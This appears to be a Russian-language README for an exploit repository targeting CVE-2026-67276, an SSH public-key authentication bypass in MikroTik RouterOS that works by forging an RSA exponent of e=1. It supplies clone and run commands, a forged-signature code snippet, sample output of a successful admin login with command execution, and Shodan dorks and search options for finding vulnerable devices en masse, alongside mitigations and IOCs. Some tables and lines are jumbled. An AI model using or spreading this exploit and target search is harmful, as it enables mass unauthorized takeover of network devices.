
CVE-2026-67276 Эксплойт обхода аутентификации SSH в MikroTik RouterOS
Обход аутентификации по открытому ключу SSH в MikroTik RouterOS — закрытый ключ не требуется
Доказательство концепции эксплуатации CVE-2026-67276 (MikroTrick) — критической уязвимости обхода аутентификации в реализации SSH в MikroTik RouterOS, которая позволяет злоумышленникам аутентифицироваться под любым пользователем без наличия его закрытого ключа.
CVE-2026-67276 является частью более крупной цепочки атак, названной «MikroTrick» командой CERT PL, которая, как было замечено, активно эксплуатируется в дикой природе:
В аутентификации SSH RouterOS есть критический недостаток в том, как проверяются открытые ключи:
{ssh-rsa, e=1, n=модуль_жертвы} делает проверку тривиальнойСтандартная проверка RSA: sig^65537 mod n == ожидаемое (требуется закрытый ключ)
Эксплуатируемая проверка: sig^1 mod n == sig (закрытый ключ НЕ нужен!)
При экспоненте e=1 проверка подписи становится:
sig^1 mod n == sig
Это означает, что «подпись» — это просто само сообщение, закодированное по EMSA-PKCS1-v1_5 — которое может создать любой, кто знает открытый модуль жертвы.
n этого авторизованного ключа (из файла .pub, предыдущих подключений и т. д.)| Ветка | Уязвимый диапазон | Исправленная версия |
|---|---|---|
| 6.x | 6.0 - 6.49.20 | 6.49.21+ |
# Клонирование репозитория
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026
# Установка зависимостей
pip install paramiko cryptography
# Базовый эксплойт — автоматическая генерация ключа, определение версии
python3 full_exploit.py --host 192.168.88.1 --username admin
# Выполнение команды после аутентификации
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'
# Нестандартный порт
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin
# Если у вас есть файл открытого ключа жертвы
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub
# Или укажите модуль напрямую
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."
Эксплойт автоматически определяет версию RouterOS и проверяет статус уязвимости:
# Принудительное выполнение эксплойта даже на не-MikroTik или неизвестной версии
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check
--host IP-адрес/имя хоста целевого RouterOS (обязательно)
--port Порт SSH (по умолчанию: 22)
--username Имя пользователя целевого RouterOS (обязательно)
--pubkey Файл открытого ключа RSA (автоматически генерируется, если не указан)
--modulus-hex Модуль RSA в hex (альтернатива --pubkey)
--algos Алгоритмы подписи (по умолчанию: ssh-rsa,rsa-sha2-256)
--exec Команда для выполнения после аутентификации
--exp-enc Кодировка экспоненты: каноническая (1 байт) или выровненная (3 байта)
--timeout Таймаут соединения (по умолчанию: 15.0 секунд)
--skip-version-check Пропустить проверку версии RouterOS
--shodan-dorks Вывести поисковые запросы Shodan
--shodan-search Поиск целей через API Shodan
--shodan-key Ключ API Shodan
--shodan-query Пользовательский запрос Shodan
--shodan-limit Лимит результатов Shodan (по умолчанию: 100)
python3 full_exploit.py --shodan-dorks
# Базовый поиск
python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY
# Пользовательский запрос
python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'
string "ssh-rsa"
mpint e (открытая экспонента) <- Злоумышленник указывает e=1
mpint n (модуль) <- Фактический модуль жертвы
# «Подпись» — это просто данные аутентификации, закодированные по EMSA-PKCS1-v1_5
def forged_signature(data, sig_alg, n):
k = (n.bit_length() + 7) // 8
block = emsa_pkcs1_v15(data, sig_alg, k)
return block # Это И ЕСТЬ действительная подпись при e=1
ssh-rsa даже для алгоритмов rsa-sha2-256/512[*] CVE-2026-67276 MikroTrick Exploit
[*] Цель: 192.168.88.1:22
[*] Определение версии RouterOS...
[*] SSH-баннер: SSH-2.0-ROSSSH-7.23.3
[*] Версия RouterOS: 7.23.3
[+] ВЕРСИЯ УЯЗВИМА — применим CVE-2026-67276
[*] Генерация пары ключей RSA 2048 бит...
[+] Закрытый ключ сохранён: /path/to/exploit_key
[+] Открытый ключ сохранён: /path/to/exploit_key.pub
[*] Модуль: 2048 бит | поддельная e=1
[*] Кодировка экспоненты: каноническая (01)
[*] Попытка rsa-sha2-256 ...
[+] АУТЕНТИФИЦИРОВАН как 'admin' через rsa-sha2-256
[+] CVE-2026-67276 ПОДТВЕРЖДЁН — цель уязвима
--- вывод команды ---
uptime: 14d23h45m12s
version: 7.23.3 (stable)
build-time: Sep/01/2026 12:00:00
# Проверка текущей версии
/system resource print
# Обновление до исправленной версии
/system package update download
/system reboot
Минимальные безопасные версии:
/ip service disable ssh
# По IP-адресу
/ip service set ssh address=192.168.88.0/24
# Правило брандмауэра
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
src-address=!192.168.88.0/24 action=drop
# Проверка подозрительных пользователей
/user print
# Проверка пользователя "ops" (известный индикатор атаки)
/user print where name=ops
# Проверка статуса флага устройства
/system/device-mode/print
# Проверка журналов
/log print where topics~"ssh"
Известные IOC:
login failure for user -2 via sshops82.192.72.4, 103.102.31.18⚠️ Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей.
Лицензия MIT — см. LICENSE для подробностей.
PoC для исследования безопасности — лабораторная реализация CVE-2026-67276
Поставьте звезду этому репозиторию, если он оказался полезным!
| Деталь | Информация |
|---|
| ID CVE | CVE-2026-67276 |
| Критичность | Критическая (CVSS 9.8) |
| CWE | CWE-347 (Некорректная проверка криптографической подписи) |
| Вектор атаки | Сеть |
| Аутентификация | Не требуется |
| Сложность | Низкая |
| Воздействие | Полная компрометация устройства |
| CVE | Тип | Описание |
|---|
| CVE-2026-67276 | Обход аутентификации | Обход аутентификации по открытому ключу SSH через подделку экспоненты |
| CVE-2026-86060 | Повышение привилегий | Внедрение аргументов через имя пользователя |
| CVE-2026-67279 | Обход аутентификации | SSH-соединение без завершённой userauth |
| CVE-2026-67277 | Раскрытие информации | Утечка памяти ядра через bandwidth-test |
| CVE-2026-67278 | Обход подписи | Принятие некорректной подписи X.509 |
| CVE-2026-67281 | Чтение файлов | Чтение корневых файлов WebFig через jsproxy |
| 7.x stable |
| 7.0 - 7.23.3 |
| 7.23.4+ |
| 7.x testing | 7.24.0 - 7.24.1 | 7.24.2+ |
| Цель | Запрос |
|---|
| Все MikroTik | MikroTik |
| MikroTik SSH | MikroTik port:22 |
| Открытый Winbox | port:8291 |
| Панель WebFig | http.title:RouterOS |
| RouterOS 6.49.x | MikroTik "6.49" |
| RouterOS 7.x | MikroTik "RouterOS v7" |
| По стране | MikroTik country:US |
| Признак уязвимости | MikroTik ("6.49" OR "7.23" OR "7.24.0") |